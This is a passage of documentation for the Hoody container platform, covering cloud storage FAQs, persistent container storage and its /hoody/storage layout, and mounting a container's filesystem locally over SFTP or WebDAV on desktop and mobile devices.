{"client_id": "...", "client_secret": "...", "token": "{\"access_token\":\"NEW_TOKEN\"}"}
```

### Can I mount the same provider multiple times?

Yes! Example: Personal and work Google Drive accounts:

```bash
POST /backends/drive {"token": "PERSONAL_TOKEN"} → backend_drive_personal
POST /backends/drive {"token": "WORK_TOKEN"} → backend_drive_work

# Access both simultaneously
GET /files/data.json?backend=backend_drive_personal
GET /files/data.json?backend=backend_drive_work
```

### Does hoody-files support file uploads?

Yes, via **HTTP PUT**. Send the file body with `PUT /api/v1/files/{path}?backend={id}` (or at the root `/{path}`). See [Hoody Files API](/api/files/) for upload endpoints.

### What's the performance like compared to native SDKs?

**Streaming:** Near-native performance over the provider's native transport. Some backends (notably Google Drive) disable HTTP/2 by default pending an upstream fix, and fall back to HTTP/1.1 — expect slightly more per-request overhead there; others keep HTTP/2 enabled.

**Batch operations:** Slightly slower (HTTP overhead per request)

**For high-throughput:** Use cloud provider's native SDK inside container. Use hoody-files for **convenience** and **abstraction**, not maximum throughput.

---

## Troubleshooting

### Backend Connection Fails

**Problem:** `POST /backends/{provider}` returns error

**Solutions:**

1. **OAuth token issues:**
   - Verify token is valid and not expired
   - Check OAuth scopes include required permissions
   - Regenerate token if necessary

2. **Credential errors:**
   - S3: Verify access_key_id and secret_access_key
   - SFTP: Check SSH key or password
   - Test credentials with provider's native tools first

3. **Network connectivity:**
   ```bash
   # Test from container
   curl https://www.googleapis.com  # Google Drive
   curl https://api.dropboxapi.com  # Dropbox
   
   # Should return response (not timeout)
   ```

### Files Not Showing in Directory Listing

**Problem:** `GET /files/?backend={id}` returns empty or incomplete

**Check:**

1. **Path is correct:**
   ```bash
   # Root directory
   GET /files/?backend={id}
   
   # Specific folder
   GET /files/Documents/?backend={id}
   ```

2. **Backend has data:**
   - Log into cloud provider's web interface
   - Verify files exist in expected location

3. **Permissions:**
   - OAuth scopes allow listing
   - Service account has access to folder/bucket

### Rate Limiting Errors

**Problem:** 429 Too Many Requests from cloud provider

**Solutions:**

1. **Implement exponential backoff:**
   ```javascript
   async function fetchWithRetry(url, retries = 3) {
     for (let i = 0; i < retries; i++) {
       const response = await fetch(url);
       if (response.status !== 429) return response;
       await sleep(Math.pow(2, i) * 1000);  // 1s, 2s, 4s
     }
   }
   ```

2. **Use caching:**
   ```bash
   # Mount cache layer
   POST /backends/cache
   {"remote": "backend_drive_abc:", "chunk_size": "10M"}
   
   # Repeated requests served from cache
   ```

3. **Reduce request frequency:**
   - Batch operations where possible
   - Cache directory listings
   - Use webhooks instead of polling

---

## What's Next

**Storage ecosystem:**
- **[Container Storage →](./)** - Understanding container filesystem
- **[Mount Locally →](./mount-locally/)** - SFTP/WebDAV for local file managers
- **[SQLite Driver →](./sqlite-drive/)** - Concurrent-write databases  
- **[Shared Storage →](./sharing-files/)** - Share directories between containers
- **[/ramdisk →](./ramdisk/)** - Ultra-fast RAM storage

**Deep dive into hoody-files:**
- **[Hoody Files Overview →](/api/files/)** - Complete service documentation
- **[Cloud Storage Mounting →](/api/files/mount/cloud/)** - Google Drive, Dropbox, OneDrive, Box
- **[Object Storage Mounting →](/api/files/mount/object/)** - S3, Azure, GCS, B2
- **[File Protocols →](/api/files/mount/protocols/)** - SFTP, FTP, WebDAV, SMB
- **[Quick Start Guide →](/api/files/quick-start/)** - Complete workflow walkthrough

**Understanding gained:**
- ✅ Cloud storage powered by hoody-kit's hoody-files (not core Hoody API)
- ✅ Unified HTTP API for 63 storage providers
- ✅ ANY backend becomes HTTP-accessible AND POSIX-mountable
- ✅ Backend-agnostic code (switch providers without code changes)
- ✅ No cloud SDKs needed (pure HTTP or standard filesystem tools)
- ✅ This page covers cloud mounting only (subset of hoody-files capabilities)

---

> **63 cloud providers. One HTTP API. One POSIX interface.**
> **Any backend → HTTP-accessible AND locally mountable.**

**The abstraction layer that makes cloud storage feel local and local storage feel like APIs.**

---

# Container Storage

**Page:** foundation/storage/index

[Download Raw Markdown](./foundation/storage/index.md)

---

# Container Storage

**Containers get persistent storage automatically.** Every container has a full filesystem that persists across restarts, snapshots, and copy operations.

---

## API Endpoints Summary

**Container Management:**
- **[POST /api/v1/projects/\{id\}/containers](/api/containers/)** - Create container (storage allocated automatically)
- **[GET /api/v1/containers/\{id\}](/api/containers/)** - View container details
- **[Storage Shares API](/api/storage-shares/)** - Share directories between containers

**File Access:**
- **[Hoody Files API](/api/files/)** - HTTP-based filesystem access
- **[Mount Locally](/foundation/storage/mount-locally/)** - SFTP/WebDAV server for local mounting

---

## Key Concepts

**Storage is NOT adjustable on the container level yet.** When you create a container, storage is allocated automatically by the system—there's no API parameter to set storage size per container.


**Future capability:** Per-container storage allocation is planned but not currently available. Storage is managed at the host/server level.


**What you get automatically:**
- ✅ Full Linux filesystem (root directory `/`)
- ✅ Persistent across container restarts
- ✅ Survives snapshots and restores
- ✅ Maintained during copy operations
- ✅ Standard Linux filesystem with full POSIX support

---

## The /hoody/storage Directory

**`/hoody/storage` is where Hoody Kit services store their data.**

When you create a container with `hoody_kit: true`, Hoody Kit services that keep state on disk use `/hoody/storage` as their data directory. Exact layout is service-dependent; a typical tree looks like:

```bash
/hoody/storage/
├── terminals/           # hoody-terminal session data
├── displays/            # hoody-displays configs
├── files/               # hoody-files backend configurations
├── exec/                # hoody-exec scripts and cache
├── sqlite/              # hoody-sqlite database metadata
├── browser/             # hoody-browser profiles and cache
├── code/                # hoody-code workspace settings
├── curl/                # hoody-curl job storage
├── cron/                # hoody-cron schedules
├── agent/               # agent service state (via workspaces)
├── daemons/             # hoody-daemon configs
├── notifications/       # hoody-notifications data
├── tunnel/              # hoody-tunnel configs
├── logs/                # aggregated service logs
└── ...                  # plus any service-specific subdirectories
```
Stateless services (`pipe`, `ssh`, `proxy`, dynamic `http`/`https` ports) don't create a dedicated directory here — `hoody-pipe` is a pure streaming relay with no on-disk state.

**This is automatic.** You don't create or configure `/hoody/storage`—it's established when the container is created with Hoody Kit.

**Why this matters:**
- All service data in **one predictable location**
- Easy to back up via copy or [instant ZIP download](https://proj-cont-files-1.server.containers.hoody.icu/hoody/storage/?zip) from hoody-files (folder-as-zip is served on the WebDAV-style root path, not the `/api/v1/files` REST surface)
- Simple to inspect service state
- Consistent across all containers

---

## Storage Architecture

### Container Filesystem

```
Container Root (/)
├── /home/              # User directories (writable)
├── /hoody/
│   ├── /hoody/storage/     # Hoody Kit service data ⭐
│   ├── /hoody/databases/   # SQLite concurrent-write mount ⭐
│   └── /hoody/shares/      # Mounted shared storage (if any)
├── /ramdisk/           # Ultra-fast RAM storage (if enabled) ⭐
├── /tmp/               # Temporary files (cleared on restart)
└── ... (standard Linux filesystem)
```

**Three special storage locations:**

1. **`/hoody/storage`** - Hoody Kit service data (automatic)
2. **`/hoody/databases`** - Concurrent-write-safe SQLite (automatic FUSE mount)
3. **`/ramdisk`** - Optional RAM-based ultra-fast storage (capacity capped at 50% of container memory)

See dedicated pages for details on [`/hoody/databases`](/foundation/storage/sqlite-drive/) and [`/ramdisk`](/foundation/storage/ramdisk/).

---

## Persistence Guarantees

**What persists:**


  
    ```bash
    POST /api/v1/containers/{id}/restart
    ```
    
    ✅ **All filesystem data persists**
    - `/hoody/storage` - intact
    - `/hoody/databases` - intact
    - `/ramdisk` - **PERSISTS** (special Hoody feature!)
    - User files - intact
    - Installed packages - intact
  
  
  
    ```bash
    POST /api/v1/containers/{id}/stop
    POST /api/v1/containers/{id}/start
    ```
    
    ✅ **All filesystem data persists**
    - Same as restart
    - `/ramdisk` also survives
  
  
  
    ```bash
    POST /api/v1/containers/{id}/snapshots
    PATCH /api/v1/containers/{id}/snapshots/{name}
    ```
    
    ✅ **Complete filesystem captured**
    - Entire disk state frozen
    - All data in snapshot
    - Restore = exact state recovery
  
  
  
    **When the physical host server reboots:**
    
    ✅ Persists:
    - `/hoody/storage` - intact
    - `/hoody/databases` - intact
    - All user files - intact
    
    ❌ Lost:
    - `/ramdisk` - **CLEARED** (RAM storage)
    - `/tmp` - cleared (standard Linux behavior)
  


**Exception:** `/ramdisk` is RAM-based and **only survives container restarts**, not host reboots. See [/ramdisk](/foundation/storage/ramdisk/) for details.

---

## Create a Container (Storage Allocated Automatically)

**When you create a container, storage is allocated automatically:**


  
    ```bash
    # Create a container — storage allocated automatically
    hoody containers create --project $PROJECT_ID --server-id $SERVER_ID --name "my-app" --hoody-kit
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';
    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: TOKEN });

    const container = await client.api.containers.create(
      PROJECT_ID,
      { name: 'my-app', server_id: SERVER_ID, hoody_kit: true }
    );
    console.log(container.data); // Storage ready, /hoody/storage populated
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"name": "my-app", "server_id": "'$SERVER_ID'", "hoody_kit": true}'
    ```
  


**No storage size parameter needed.** The system allocates storage automatically at the host level.

---

## Storage Access Methods

**You have multiple ways to access container storage:**



**[Hoody Files](/api/files/)** - Direct HTTP access to filesystem

```bash
GET /api/v1/files/hoody/storage/exec/scripts.json
```

- Read/write files via HTTP
- Download with SHA256 verification
- List directories with JSON/HTML output
- Stream large files efficiently



**[Mount Locally](/foundation/storage/mount-locally/)** - SFTP/WebDAV server

Mount container filesystem on your local machine:
- macOS Finder / Windows Explorer
- FileZilla, Cyberduck, WinSCP
- Command-line SFTP/WebDAV clients

hoody-files **acts as server** for local mounting.



**[Hoody Terminal](/kit/terminals/)** - Web-based shell

```bash
ls -la /hoody/storage/
cat /hoody/databases/app.db
echo "data" > /ramdisk/cache.txt
```

Full shell access via browser.



**[SSH](/foundation/networking/ssh/)** - Secure shell

```bash
ssh root@ssh.$serverName.containers.hoody.icu   # e.g. ssh.us-west-1.containers.hoody.icu
cd /hoody/storage
```

Optional - terminal access works without SSH.



---

## Storage for Different Use Cases

### Development Containers

```bash
# Code, dependencies, build artifacts
/home/user/projects/          # Your code
/hoody/storage/exec/          # HTTP-callable scripts
/ramdisk/build/               # Ultra-fast build cache
```

**Pattern:** Use `/ramdisk` for build artifacts (fast), regular filesystem for source code (persistent).

### Database Containers

```bash
# Concurrent-write-safe SQLite
/hoody/databases/production.db    # Automatic concurrent write safety
/hoody/databases/staging.db       # No replication, just safe writes
```

**Pattern:** Store all SQLite databases in `/hoody/databases/` for automatic concurrent-write protection. See [SQLite Driver](/foundation/storage/sqlite-drive/).

### File Storage Containers

```bash
# User uploads, media files
/hoody/storage/uploads/       # Persistent user data
/ramdisk/processing/          # Temporary file processing
```

**Pattern:** Accept uploads to regular storage, use `/ramdisk` for temporary processing (image resize, video transcode).

---

## Managing Storage

### Check Storage Usage


  
    ```bash
    # Check container details (includes storage info)
    hoody containers get $CONTAINER_ID
    ```
  
  
    ```typescript
    const container = await client.api.containers.get(CONTAINER_ID);
    console.log(container.data); // Container details including storage status
    ```
  
  
    ```bash
    # Get container details
    curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID" \
      -H "Authorization: Bearer $TOKEN"

    # List files with sizes via hoody-files
    curl "https://$PROJECT-$CONTAINER-files-1.$SERVER.containers.hoody.icu/api/v1/files?json"
    ```
  


**Via hoody-terminal (in-container):**
```bash
df -h
# Shows filesystem usage

du -sh /hoody/storage/*
# Shows Hoody Kit service data sizes

du -sh /hoody/databases/*
# Shows database sizes
```

### Clean Up Storage

**Remove unused data:**
```bash
# Clear package manager cache
apt-get clean

# Remove old logs
rm -rf /hoody/storage/*/logs/*.old

# Clear ramdisk (regenerates on next restart anyway)
rm -rf /ramdisk/*
```

### Migrate to Larger Storage

**Currently:** Storage is NOT adjustable per container.

**Workaround:** Create new container + transfer data:

1. Create snapshot of old container
2. Create new container (receives system-allocated storage)
3. Transfer data via [storage shares](/foundation/storage/sharing-files/)
4. Verify migration
5. Delete old container

---

## Best Practices

### 1. Use /hoody/storage for Application Data

Store your app's persistent data in `/hoody/storage/myapp/` to keep it organized with Hoody Kit services:

```bash
mkdir -p /hoody/storage/myapp/data
mkdir -p /hoody/storage/myapp/configs
mkdir -p /hoody/storage/myapp/logs
```

### 2. SQLite Databases Go in /hoody/databases/

**Always** store SQLite databases in `/hoody/databases/` for automatic concurrent-write safety:

```bash
# ✅ Correct - concurrent write safe
sqlite3 /hoody/databases/app.db

# ❌ Wrong - risk of database corruption
sqlite3 /hoody/storage/app.db
```

### 3. Use /ramdisk for Temporary Fast Storage

Perfect for caches, build artifacts, temporary processing:

```bash
# Ultra-fast temporary storage
/ramdisk/npm-cache/
/ramdisk/build-output/
/ramdisk/image-processing/
```

Remember: `/ramdisk` is **cleared on host reboot** (not container restart).

### 4. Snapshot Before Major Changes

Before modifying large amounts of data or testing destructive operations:

```bash
POST /api/v1/containers/{id}/snapshots
{"alias": "before-cleanup-2025-11-10"}
```

Storage is persistent but not immune to accidental deletion.

### 5. Monitor Storage Usage

Set up monitoring for storage capacity:

```bash
# Check if storage >80% full
df -h / | awk 'NR==2 {print $5}' | sed 's/%//'
```

Integrate with [hoody-notifications](/kit/notifications/) for alerts.

---

## Useful Questions

### Can I change storage size after creating a container?

No. Storage allocation is currently **not adjustable** on the container level. Storage is managed automatically at the host level when containers are created.

**Workaround:** Create new container and migrate data via storage shares or manual copy.

### What happens to /hoody/storage if I disable Hoody Kit?

The directory remains (it's just a directory), but services won't write to it since they're not installed. Existing data persists.

### Is /hoody/storage a special mount or just a directory?

Just a regular directory with a specific purpose—Hoody Kit services use it by convention. No special filesystem characteristics.

### How is /hoody/storage different from /hoody/databases/?

- `/hoody/storage` = Regular directory where Hoody Kit stores service data
- `/hoody/databases/` = Special FUSE mount with concurrent-write safety for SQLite

See [SQLite Driver](/foundation/storage/sqlite-drive/) for `/hoody/databases/` details.

### Can I share /hoody/storage between containers?

Yes! Use [Storage Shares](/foundation/storage/sharing-files/):

```bash
POST /api/v1/containers/{source}/storage/shares
{
  "source_path": "/hoody/storage/myapp",
  "target_project_id": "{project}",
  "mode": "readonly"
}
```

### Does /hoody/storage count toward storage quota?

Yes. All filesystem usage (including `/hoody/storage`) counts toward your container's total storage. The per-container allocation is system-managed — the API strips any `allocated_storage` field on create/update, so you can't resize it directly from the client.

---

## Troubleshooting

### Storage Full Errors

**Problem:** "No space left on device" errors

**Solutions:**

1. **Check storage usage:**
   ```bash
   df -h
   du -sh /* | sort -h
   ```

2. **Clean package cache:**
   ```bash
   apt-get clean
   apt-get autoremove
   ```

3. **Remove old logs:**
   ```bash
   find /hoody/storage -name "*.log" -mtime +30 -delete
   ```

4. **Clear /ramdisk if full:**
   ```bash
   rm -rf /ramdisk/*
   ```

### Cannot Write to /hoody/storage

**Problem:** Permission denied writing to `/hoody/storage`

**Solution:** Containers run as root - this shouldn't happen. Check:

```bash
ls -la /hoody/
# Should show: drwxr-xr-x root root
```

If permissions are wrong, fix them:
```bash
chown -R root:root /hoody/storage
chmod -R 755 /hoody/storage
```

### /hoody/storage Missing After Creation

**Problem:** Directory doesn't exist in new container

**Cause:** Container created with `hoody_kit: false`

**Solution:** `/hoody/storage` is only created when Hoody Kit is installed. If you need it:

```bash
mkdir -p /hoody/storage
```

But services won't use it without Hoody Kit enabled.

---

## What's Next

**Storage ecosystem:**
- **[Mount Locally →](./mount-locally/)** - Access container files via SFTP/WebDAV on your local machine
- **[SQLite Driver →](./sqlite-drive/)** - Concurrent-write-safe database storage in `/hoody/databases/`
- **[Cloud Storage →](./cloud/)** - Connect 63 cloud providers via hoody-files
- **[Shared Storage →](./sharing-files/)** - Share directories between containers
- **[/ramdisk →](./ramdisk/)** - Ultra-fast RAM storage for caching and temporary files

**File access methods:**
- **[Hoody Files API →](/api/files/)** - HTTP-based filesystem operations
- **[Hoody Terminal →](/kit/terminals/)** - Web-based shell access
- **[SSH Access →](/foundation/networking/ssh/)** - Secure shell (optional)

**Understanding gained:**
- ✅ Storage is persistent (survives restarts, snapshots, copy)
- ✅ Storage is NOT adjustable per container (automatic allocation)
- ✅ `/hoody/storage` is where Hoody Kit services store data
- ✅ `/hoody/databases/` and `/ramdisk` are special storage locations
- ✅ Multiple access methods (HTTP API, local mounting, terminal, SSH)

---

> **Storage is automatic, persistent, and HTTP-accessible.**  
> **No configuration needed—it just works.**  

**Your data persists. Your services know where to store it. You access it via HTTP.**

---

# Mount Locally

**Page:** foundation/storage/mount-locally

[Download Raw Markdown](./foundation/storage/mount-locally.md)

---

# Mount Locally

**Access your container's filesystem from your local machine.** You mount the container's storage on YOUR computer (client-initiated), giving you drag-and-drop file access while keeping full control—your machine connects to the container, not the other way around.

**Why this is practical:**
- ✅ **Your data, your control** - You initiate the connection from your local machine
- ✅ **Bridge cloud and local** - Edit container files with local tools (VS Code, Photoshop, Excel)
- ✅ **No container changes needed** - SFTP via Hoody SSH Proxy, WebDAV via hoody-files
- ✅ **Familiar file managers** - Use Finder/Explorer like any network drive

---

## API Endpoints Summary

**File Access:**
- **[Hoody Files API](/api/files/)** - HTTP-based filesystem operations
- **[File Protocols](/api/files/mount/protocols/)** - SFTP/WebDAV backend mounting (as client)

**Related Access:**
- **[SSH Access](/foundation/networking/ssh/)** - Secure shell for command-line operations
- **[Hoody Terminal](/kit/terminals/)** - Web-based shell (no mounting needed)

---

## How It Works

**TWO protocols for local mounting:**



**Provided by: Hoody API (SSH Proxy)**

- Built on SSH protocol (port 22)
- Same infrastructure as SSH access
- Same authentication (SSH keys)
- Privacy-preserving routing
- Universal SFTP client support



**Provided by: hoody-kit (hoody-files service)**

- HTTP/HTTPS-based protocol
- Authentication via Proxy Permissions
- Native macOS/Windows support
- Mount directly in file managers
- Works through firewalls easily



**Both protocols access the SAME container filesystem.** SFTP via Hoody API, WebDAV via hoody-kit.

---

## SFTP Mounting

**SFTP provided by Hoody API's SSH Proxy—same infrastructure as SSH access.**


**SFTP vs SSH distinction**: SFTP is **NOT provided by hoody-files**. It's part of the **Hoody API's SSH Proxy** infrastructure. Only WebDAV is provided by hoody-files (hoody-kit).


### Requirements


**SSH key required:** SFTP uses SSH authentication. Your container must have an `ssh_public_key` configured. See [SSH Access](/foundation/networking/ssh/) for key generation.


### Connection Details

```bash
Protocol: SFTP (SSH File Transfer Protocol)
Host: ssh.{server-name}.containers.hoody.icu
Port: 22
Username: root
Authentication: SSH public key
```

**You mount FROM your local machine TO the container** - client-initiated connection for security and control.

**Example:** If your container is on server `us-west-1`, the SFTP host is:
```
ssh.us-west-1.containers.hoody.icu
```

**Privacy benefit:** Same endpoint for ALL containers on that server. SFTP routing happens by SSH public key during handshake—not visible in connection URL.

---

### Mount in macOS Finder


  
    1. **Open Finder** → **Go** menu → **Connect to Server** (⌘K)
    2. **Server Address:**
       ```
       sftp://ssh.us-west-1.containers.hoody.icu
       ```
    3. Click **Connect**
    4. **Authentication:**
       - Select your SSH private key from keychain
       - Or add new key: Keychain Access → add `~/.ssh/hoody-container-1`
    5. Container filesystem mounts as network drive
    
    **Mounted at:** `/Volumes/ssh.us-west-1.containers.hoody.icu/`
  
  
  
    ```bash
    # Mount via sshfs (requires osxfuse/macFUSE)
    brew install macfuse
    brew install gromgit/fuse/sshfs-mac
    
    # Create mount point
    mkdir -p ~/Hoody/container-1
    
    # Mount container
    sshfs root@ssh.us-west-1.containers.hoody.icu:/ \
      ~/Hoody/container-1 \
      -o IdentityFile=~/.ssh/hoody-container-1
    
    # Access files
    ls ~/Hoody/container-1/hoody/storage
    
    # Unmount when done
    umount ~/Hoody/container-1
    ```
  


---

### Mount in Windows Explorer


  
    **Download:** [WinSCP](https://winscp.net/)
    
    1. **New Site:**
       - File protocol: **SFTP**
       - Host name: `ssh.us-west-1.containers.hoody.icu`
       - Port: `22`
       - User name: `root`
    
    2. **Authentication:**
       - Advanced → SSH → Authentication
       - Private key file: Browse to `%USERPROFILE%\.ssh\hoody-container-1`
       - WinSCP converts to .ppk format automatically
    
    3. **Login** - Container filesystem appears in WinSCP's file manager
    
    4. **Optional:** Tools → Preferences → Integration → Explorer
       - Enable "Windows Explorer integration"
       - Access via right-click "WinSCP" in Explorer
  
  
  
    1. **Edit → Settings → Connection → SFTP**
       - Add key file: `%USERPROFILE%\.ssh\hoody-container-1`
    
    2. **Site Manager → New Site:**
       - Protocol: **SFTP**
       - Host: `ssh.us-west-1.containers.hoody.icu`
       - Port: `22`
       - Logon Type: **Key file**
       - User: `root`
       - Key file: (already added above)
    
    3. **Connect** - Two-pane file manager shows local + remote
  
  
  
    **SFTP not natively supported.** Use WinSCP or FileZilla.
    
    Or map WebDAV drive instead (see WebDAV section below).
  


---

### Mount in Linux

```bash
# Install sshfs
sudo apt-get install sshfs  # Debian/Ubuntu
sudo dnf install sshfs      # Fedora
sudo pacman -S sshfs        # Arch

# Create mount point
mkdir -p ~/hoody-containers/container-1

# Mount container
sshfs root@ssh.us-west-1.containers.hoody.icu:/ \
  ~/hoody-containers/container-1 \
  -o IdentityFile=~/.ssh/hoody-container-1

# Access files
ls ~/hoody-containers/container-1/hoody/storage

# Make persistent (add to /etc/fstab)
echo "root@ssh.us-west-1.containers.hoody.icu:/ /home/user/hoody-containers/container-1 fuse.sshfs defaults,IdentityFile=/home/user/.ssh/hoody-container-1,allow_other 0 0" | sudo tee -a /etc/fstab

# Unmount
fusermount -u ~/hoody-containers/container-1
```

---

### SFTP Clients Comparison

| Client | Platform | GUI | Features |
|--------|----------|-----|----------|
| **FileZilla** | Win/Mac/Linux | ✅ | Two-pane, queue, bookmarks, free |
| **WinSCP** | Windows | ✅ | Explorer integration, scripting, sync |
| **Cyberduck** | Mac/Windows | ✅ | Finder integration, cloud services |
| **Transmit** | Mac | ✅ | Beautiful UI, fast, paid |
| **sshfs** | Mac/Linux | ❌ | Command-line, native mounting |
| **Mountain Duck** | Mac/Windows | ❌ | Mount as drive letter, paid |

---

## WebDAV Mounting

**WebDAV provides HTTP-based filesystem access with native OS support.**

### Get Your WebDAV URL


  
    ```bash
    # Get container details to build WebDAV URL
    hoody containers get $CONTAINER_ID

    # The WebDAV URL follows this pattern:
    # https://{project}-{container}-files.{server}.containers.hoody.icu/
    ```
  
  
    ```typescript
    const container = await client.api.containers.get(CONTAINER_ID);
    const { project_id, id, server } = container.data;

    // Construct WebDAV URL from container details
    const webdavUrl = `https://${project_id}-${id}-files.${server.name}.containers.hoody.icu/`;
    console.log(webdavUrl);
    // https://proj123-cont456-files.us-west-1.containers.hoody.icu/
    ```
  
  
    ```bash
    # Get container details to find server name and IDs
    curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID" \
      -H "Authorization: Bearer $TOKEN"

    # Build WebDAV URL from response:
    # https://{project_id}-{container_id}-files.{server_name}.containers.hoody.icu/
    ```
  


**Connection Details:**

```bash
URL: https://{project}-{container}-files.{server}.containers.hoody.icu/
Authentication: Hoody Proxy Permissions
```

**Example URL:**
```
https://proj123-cont456-files.us-west-1.containers.hoody.icu/
```


**Serving path:** WebDAV is served at the root `/` of the files service—clients speak WebDAV verbs (PROPFIND, COPY, MOVE, LOCK, UNLOCK, PROPPATCH, MKCOL) directly against the service root. There is no `/webdav` path suffix.



**Authentication:** WebDAV uses **Hoody Proxy Permissions**, NOT your API token. As part of hoody-kit (not Hoody API), authentication is controlled via [Proxy Permissions](/foundation/proxy/permissions/).

If your container has permissions configured, you'll need those credentials. If permissions are disabled (default), no authentication required.


**You mount FROM your client TO the container** - you control the connection.

---

### Mount in macOS Finder


  
    1. **Finder** → **Go** → **Connect to Server** (⌘K)
    
    2. **Server Address:**
       ```
       https://proj123-cont456-files.us-west-1.containers.hoody.icu/
       ```
    
    3. Click **Connect**
    
    4. **Authentication:**
       - If [Proxy Permissions](/foundation/proxy/permissions/) configured: Use those credentials
       - If no permissions: Leave blank or use any credentials (access is open)
    
    5. Container filesystem mounts as WebDAV drive
    
    **Mounted at:** `/Volumes/webdav/`
  
  
  
    **Add to Login Items for auto-mount:**
    
    1. Mount WebDAV as above
    2. **System Settings** → **General** → **Login Items**
    3. Click **+** and select mounted drive
    4. Auto-mounts on login
  


---

### Mount in Windows Explorer


  
    1. **Right-click "This PC"** → **Map network drive**
    
    2. **Drive letter:** Choose (e.g., `Z:`)
    
    3. **Folder:**
       ```
       https://proj123-cont456-files.us-west-1.containers.hoody.icu/
       ```
    
    4. ✅ **Check:** "Reconnect at sign-in" (for persistence)
    
    5. ✅ **Check:** "Connect using different credentials"
    
    6. **Credentials:**
       - If [Proxy Permissions](/foundation/proxy/permissions/) configured: Use those credentials
       - If no permissions: Leave blank (or any credentials—access is open)
    
    7. Click **Finish** - Drive appears in Explorer as `Z:\`
  
  
  
    **If "The network path was not found":**
    
    1. Enable WebClient service:
       ```powershell
       # Run as Administrator
       sc config webclient start=auto
       sc start webclient
       ```
    
    2. Modify registry for HTTPS support:
       - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebClient\Parameters`
       - Set `BasicAuthLevel` = `2` (DWORD)
       - Restart WebClient service
    
    3. Try mapping again
  


---

### Mount in Linux

```bash
# Install davfs2
sudo apt-get install davfs2  # Debian/Ubuntu
sudo dnf install davfs2      # Fedora

# Create mount point
sudo mkdir -p /mnt/hoody-container

# Add credentials to /etc/davfs2/secrets (if Proxy Permissions configured)
echo "https://proj123-cont456-files.us-west-1.containers.hoody.icu/ USERNAME PASSWORD" | sudo tee -a /etc/davfs2/secrets
# OR leave blank if no permissions configured
sudo chmod 600 /etc/davfs2/secrets

# Mount
sudo mount -t davfs https://proj123-cont456-files.us-west-1.containers.hoody.icu/ /mnt/hoody-container

# Access files
ls /mnt/hoody-container/hoody/storage

# Make persistent (add to /etc/fstab)
echo "https://proj123-cont456-files.us-west-1.containers.hoody.icu/ /mnt/hoody-container davfs user,noauto 0 0" | sudo tee -a /etc/fstab

# Unmount
sudo umount /mnt/hoody-container
```

---

### Mount on Android


  
    **Recommended WebDAV client for Android**
    
    1. Install [WebDAV Navigator](https://play.google.com/store/apps/details?id=com.schimera.webdavnav) from Play Store
    
    2. **Add Connection:**
       - Tap **+** → **WebDAV**
       - URL: `https://proj123-cont456-files.us-west-1.containers.hoody.icu/`
       - If Proxy Permissions configured: Enter credentials
       - If no permissions: Leave blank or use any credentials
    
    3. **Browse Files:**
       - Tap connection to browse container filesystem
       - `/hoody/storage`, `/home/user`, etc. all accessible
    
    4. **File Operations:**
       - Download files to device
       - Upload from device to container
       - Create folders, rename, delete
       - Open with Android apps
  
  
  
    **Popular file manager with WebDAV support**
    
    1. Install [Solid Explorer](https://play.google.com/store/apps/details?id=pl.solidexplorer2)
    
    2. **Add Storage:**
       - Menu → Storage → Cloud → WebDAV
       - Server: `proj123-cont456-files.us-west-1.containers.hoody.icu`
       - Path: `/`
       - Protocol: **HTTPS**
       - If permissions: Enter credentials
    
    3. **Access:**
       - Container appears as network storage
       - Two-pane file manager (local + WebDAV)
       - Drag & drop between device and container
  
  
  
    1. Install [FX File Explorer](https://play.google.com/store/apps/details?id=nextapp.fx)
    
    2. **Network → Add Network Location → WebDAV**
       - Full URL: `https://proj123-cont456-files.us-west-1.containers.hoody.icu/`
       - Credentials if needed
    
    3. Browse and manage files like local storage
  


---

### Mount on iOS/iPadOS


  
    **iOS 13+ built-in WebDAV support**
    
    1. Open **Files** app
    
    2. **Tap ••• (More) → Connect to Server**
    
    3. **Server:**
       ```
       https://proj123-cont456-files.us-west-1.containers.hoody.icu/
       ```
    
    4. **Authentication:**
       - If [Proxy Permissions](/foundation/proxy/permissions/) configured: Enter credentials
       - If no permissions: Tap "Connect as Guest"
    
    5. **Container mounts in sidebar** under "Shared"
    
    6. **Access Files:**
       - Browse container filesystem
       - Open files with iOS apps
       - Share files between apps
       - Download/upload via drag & drop
  
  
  
    **Feature-rich file manager with WebDAV**
    
    1. Install [Documents](https://apps.apple.com/app/documents-by-readdle/id364901807)
    
    2. **Services → + → WebDAV Server**
       - Title: "Hoody Container"
       - URL: `https://proj123-cont456-files.us-west-1.containers.hoody.icu/`
       - Credentials if Proxy Permissions configured
    
    3. **Full file management:**
       - Browse, search, preview files
       - Download to device
       - Upload from device or iCloud
       - Zip/unzip files
       - Integrated PDF viewer
  
  
  
    1. Install [FE File Explorer](https://apps.apple.com/app/fe-file-explorer-file-manager/id510282524)
    
    2. **Remote Storage → WebDAV**
       - Server: `proj123-cont456-files.us-west-1.containers.hoody.icu`
       - Path: `/`
       - Protocol: HTTPS
    
    3. Two-pane file manager with thumbnails
  


---

## SFTP vs WebDAV

**Which protocol should you use?**

| Feature | SFTP | WebDAV |
|---------|------|--------|
| **Provided By** | Hoody API (SSH Proxy) | hoody-kit (hoody-files) |
| **Setup** | Requires SSH key | Uses Proxy Permissions |
| **Native Support** | macOS/Linux (via sshfs) | macOS/Windows/iOS (built-in) |
| **Mobile Support** | Android/iOS SSH clients | Android/iOS native file managers |
| **Security** | SSH protocol (very secure) | HTTPS (secure) |
| **Firewall** | Port 22 (sometimes blocked) | Port 443 (rarely blocked) |
| **Speed** | Fast | Slightly slower (HTTP overhead) |
| **Metadata** | Full POSIX support | Limited metadata |
| **Compatibility** | All SFTP clients | All WebDAV clients |

**Recommendation:**
- **SFTP:** When you already have SSH configured and need full POSIX metadata (desktop/laptop)
- **WebDAV:** For native OS mounting, especially on mobile (iOS Files app, Android file managers)
- **Both work equally well** for basic file transfer

---

## Use Cases

### Local Development Workflow

**Mount container → Edit locally → Changes reflected immediately:**

```bash
# Mount container filesystem
# macOS:
open sftp://ssh.us-west-1.containers.hoody.icu

# Edit files in your favorite local editor
code /Volumes/ssh.us-west-1.containers.hoody.icu/hoody/storage/myapp/

# Changes saved locally = changes in container instantly
```

**Perfect for:** Editing code, configs, logs without SSH terminal.

### Backup Container Data

**Drag & drop backup via file manager:**

